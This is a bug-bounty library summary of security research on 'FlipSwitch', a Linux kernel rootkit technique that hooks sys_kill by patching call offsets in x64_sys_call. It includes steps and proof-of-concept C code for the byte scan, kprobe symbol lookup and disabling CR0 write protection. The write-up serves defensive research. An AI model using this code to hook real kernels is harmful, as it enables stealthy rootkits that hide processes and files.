# FlipSwitch: a Novel Syscall Hooking Technique

FlipSwitch patches the x64_sys_call dispatcher's call instruction offset to redirect a syscall to a rootkit handler, bypassing kernel 6.9's switch-based dispatch hardening.

- Payout: Research
- Severity: high
- Program: Linux kernel
- Write-up by: Remco Sprooten, Ruben Groenewoud
- Disclosed: 2025-09-30
- Write-up quality: 8/10
- Original: https://www.elastic.co/security-labs/threat-command/flipswitch-linux-rootkit
- Library page: https://bugbountylibrary.com/r/blog%3Aelastic-co-security-labs-threat-command-flipswitch-linux-rootkit
- Tags: area:oss domain:oss impact:integrity impact:privesc kind:research platform:threat-intel sev:high tech:linux technique:reverse-engineering technique:source-review vuln:memory-corruption vuln:privilege-escalation

**Target:** x86-64 syscall dispatcher (x64_sys_call) in Linux kernel
**Root cause:** Kernel 6.9 replaced the sys_call_table array dispatch with a switch-statement x64_sys_call function, but the compiled dispatcher still contains direct call instructions to each syscall handler whose 4-byte relative offsets can be patched in memory.
**Steps:**
1. Resolve kallsyms_lookup_name via a kprobe (register_kprobe on the symbol, read kp->addr) to get a symbol lookup primitive.
2. Look up sys_kill address via kallsyms_lookup_name or the still-present sys_call_table[__NR_kill].
3. Scan x64_sys_call machine code byte-by-byte for opcode `0xe8`; compute target as `x64_sys_call + i + 5 + rel` and match against sys_kill address.
4. Disable write protection by clearing CR0 bit 16 via `write_cr0_forced`.
5. Overwrite the 4-byte relative offset following the matched `0xe8` with an offset pointing to a fake_kill handler.
6. Re-enable write protection; on module unload restore the original offset.
**How found:** Reasoned that despite the switch-based dispatch the kernel must still call original syscall functions, so the logic persists behind indirection; used the defunct sys_call_table as a reliable pointer source and signature-matched the unique call instruction to the target syscall.
**Exploitation:** A loaded rootkit module locates the dispatcher's call to sys_kill, disables CR0 write protection, and rewrites the call's relative offset to its own fake_kill, so kill syscalls are filtered (e.g. hiding files from ls, blocking process termination) while other syscalls are untouched; changes are reverted on unload leaving no trace.
**Insight:** When a hardening change removes a hookable data structure, look at the compiled code path that replaced it: relative call/jump offsets in dispatcher functions are still patchable in-memory and can be signature-matched by resolving the callee address first.

## Proof of concept (copied exactly from the original report)

**Scan x64_sys_call for call to sys_kill**

```
/* Search for call instruction to sys_kill in x64_sys_call */
 for (size_t i = 0; i < DUMP_SIZE - 4; ++i) {
 if (func_ptr[i] == 0xe8) { /* Found a call instruction */
 int32_t rel = *(int32_t *)(func_ptr + i + 1);
 void *call_addr = (void *)((uintptr_t)x64_sys_call + i + 5 + rel);
 
 if (call_addr == (void *)sys_call_table[__NR_kill]) {
 debug_printk("Found call to sys_kill at offset %zu\n", i);
```

**Find kallsyms_lookup_name via kprobe**

```
/**
 * Find the address of kallsyms_lookup_name using kprobes
 * @return Pointer to kallsyms_lookup_name function or NULL on failure
 */
void *find_kallsyms_lookup_name(void)
{
 struct kprobe *kp;
 void *addr;

 kp = kzalloc(sizeof(*kp), GFP_KERNEL);
 if (!kp)
 return NULL;

 kp->symbol_name = O_STRING("kallsyms_lookup_name");
 if (register_kprobe(kp) != 0) {
 kfree(kp);
 return NULL;
 }

 addr = kp->addr;
 unregister_kprobe(kp);
 kfree(kp);

 return addr;
}
```

**CR0 write-protect disable helpers**

```
/**
 * Force write to CR0 register bypassing compiler optimizations
 * @param val Value to write to CR0
 */
static inline void write_cr0_forced(unsigned long val)
{
 unsigned long order;

 asm volatile("mov %0, %%cr0" 
 : "+r"(val), "+m"(order));
}

/**
 * Enable write protection (set WP bit in CR0)
 */
static inline void enable_write_protection(void)
{
 unsigned long cr0 = read_cr0();
 set_bit(16, &cr0);
 write_cr0_forced(cr0);
}
```

